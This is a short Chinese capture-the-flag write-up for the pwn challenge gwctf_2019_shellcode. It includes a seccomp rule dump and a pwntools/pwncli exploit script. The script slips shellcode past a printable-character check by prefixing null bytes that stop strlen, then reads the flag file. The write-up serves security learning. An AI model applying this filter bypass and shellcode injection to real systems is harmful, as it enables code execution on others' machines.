buuoj-pwn-gwctf_2019_shellcode

总结

• 可见字符shellcode优先判断能不能利用\x00非预期一手

题目分析

IDA打开，看不了main函数，但是汇编也挺简单的，看看汇编就知道是打开沙箱，输入shellcode，然后判断是否是可见支付，然后执行shellcode

沙箱规则如下：

$ seccomp-tools dump ./gwctf_2019_shellcode
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

那么我们看看is_printable函数，就可以看到有strlen函数，参考这一道题的wp便可解出该题

exp

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-23 19:24:47
LastEditTime: 2022-12-23 19:51:11
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

sc = b'\x00\x4d\x00\x41' + asm(shellcraft.cat('flag'))
log2_ex('length ->> 0x%x',len(sc))
sl(sc)

io.interactive()